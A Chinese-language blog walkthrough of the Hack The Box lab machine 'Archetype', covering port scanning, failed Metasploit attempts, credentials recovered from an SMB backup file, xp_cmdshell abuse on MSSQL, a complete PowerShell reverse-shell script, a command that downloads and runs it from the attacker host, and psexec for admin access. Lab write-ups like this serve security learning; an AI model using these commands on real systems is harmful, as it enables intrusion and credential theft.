HTB-Archetype

获得4个开放端口,挨个试试趴

lao@laolao:~/桌面$ nmap -PS 10.10.10.27
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 19:06 CST
Nmap scan report for localhost (10.10.10.27)
Host is up (0.19s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s

Nmap done: 1 IP address (1 host up) scanned in 21.67 seconds
lao@laolao:~/桌面$ 

失败的探索过程

135

目标主机开启了135端口,服务为msrpc(远程过程调用服务),即Windows的RPC服务。幸运地查到135是存在一个漏洞的,用windows/dcerpc/ms05_ 017_msmq 

135端口漏洞介绍

135端口主要用于使用RPC(RemoteProcedureCall,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。

是否还记得前几年发生的“冲击波”病毒?该病毒就是利用RPC漏洞来攻击计算机的。RPC本身在处理通过TCP/IP的消息交换部分有一个漏洞,该漏洞是由于错误地处理格式不正确的消息造成的。该漏洞会影响到RPC与DCOM之间的一个接口,该接口侦听的端口就是135。

 这里缺一个hname,使用scanner/smb/smb_version这个模块获得

 唔,还是失败惹

 用windows/dcerpc/ms03_026_dcom,这次是打通了,但是没有创建一个session,想起来SMB探测的时候,发现的主机信息Windows 2019 Standard,不在target类型的范围内?

  打不通,nump重新扫一遍:sudo nmap -sS -A -Pn 10.10.10.27

445+139 

admin/smb/samba_symlink_traversal结合multi/samba/usermap_script获得shell

SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息通。 SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统。
外文名: Server Message Block
中文名: 服务器信息块
作 用: Web连接和客户端与服务器之间的信息沟通
研 制: 贝瑞·费根鲍姆

查看一下文件共享目录是否开启,并且是否存在敏感信息

所有的文件都试一遍,emmm,没打成功

1433

直接用auxiliary/scanner/mssql/mssql_login进行密码爆破,爆破失败,日。

正片

莫慌莫慌,给kail拍一个快照,吃一串葡萄重来一遍。重新回到smb中的backups里检查一下,发现了一个dtsConfig文件,它是与SSIS一起使用的配置文件。

 下载查看文件内容。

发现其中包含一个SQL连接字符串:Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc,其中包含本地Windows用户的凭据:ARCHETYPE\sql_svc。 接下来尝试使用impacket中的mssqlclient.py连接到目标的SQL Server。

Impacket是用于网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,并且对于某些协议——SMB1-3和MSRPC,协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在该库的上下文中可以完成的操作的示例。

先在kali中安装一下impacket库,这个是运行在python2的环境中的,当然也可以直接到github的release里面下一个:https://github.com/sdfzy/impacket/releases(当然为了以后查找方便,我两个都搞了😜)

pip install --ignore-installed impacket

记住安装的目录,我的是在:/home/lao/.local/bin,以后会常用mssqlclient.py。登录数据库:./mssqlclient.py  ARCHETYPE/sql_svc@10.10.10.27 -windows-auth,密码: M3g4c0rp123

 我们可以使用该IS_SRVROLEMEMBER函数显示当前SQL用户在SQL Server上是否具有sysadmin(最高级别)特权。

SELECT IS_SRVROLEMEMBER('sysadmin');

发现回显为1,证明具有sysadmin特权。

根据前面搜集到的信息,这是一个sql server数据库,所以想使用xp_cmdshell来提权

xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权。

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

所以我们要先开启xp_cmdshell,在sql>中执行一下命令:

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展
RECONFIGURE

可以用下面的几条来测试xp_cmdshell是否开启成功(跟get Flag关系不大,就不截图了🐱‍🐉)

xp_cmdshell "systeminfo" 
xp_cmdshell "net user"
xp_cmdshell "netstat -ano"

PS:除了xp_cmdshell还有操作注册表的

xp_regaddmultistring
xp_regdeletekey //删除键
xp_regdeletevalue //删除值
xp_regenumkeys
xp_regenumvalues //返回多个值
xp_regread //读取键值
xp_regremovemultistring
xp_regwrite //写入键值 
控制服务的xp_servicecontrol等
开启telnet服务
execmaster..xp_servicecontrol 'start', 'tlntsvr'

创建一个shell.ps1文件,里面写入如下内容(IP改成kali的)

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.115",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

然后使用Python搭建一个小型网络服务器,把shell.ps1放到同级目录 (这里的图截的已经是成功反弹shell后的了)

sudo python3 -m http.server 80

在端口443上建立一个netcat侦听器,用ufw允许端口80和443上的回调到攻击机。(ufw这一步并不是必须的)

nc -lvnp 443
ufw allow from 10.10.10.27 proto tcp to any port 80,443

接下来就是让目标下载并执行shell.ps1(这一步的ip也要改成kali的)

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.115/shell.ps1\");"

在nc处可以获得sql_svc的shell但是权限没有那么高,sql_svc既是普通用户帐户又是服务帐户,因此可以检查频繁访问的文件或已执行的命令,使用下面的命令访问PowerShell历史记录文件,可以看到admin的密码:MEGACORP_4dm1n!!

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 

 这表明该backups驱动器已使用本地管理员凭据进行了映射。我们可以使用Impacket psexec.py来获得admin权限的壳,最后在桌面找到了flag

参考资料

Metasploit SMB 获取系统信息 - 知乎 (zhihu.com)

https://cloud.tencent.com/developer/article/1079631

https://www.cnblogs.com/xiehong/p/12720936.html

https://mp.weixin.qq.com/s/--pzytARhNKknBmDzpoaUw

https://www.echocipher.life/index.php/archives/844/

https://www.jianshu.com/p/85db175a05e3

posted @ 2021-08-09 19:30  东坡肉肉君  阅读(484)  评论(0编辑  收藏  举报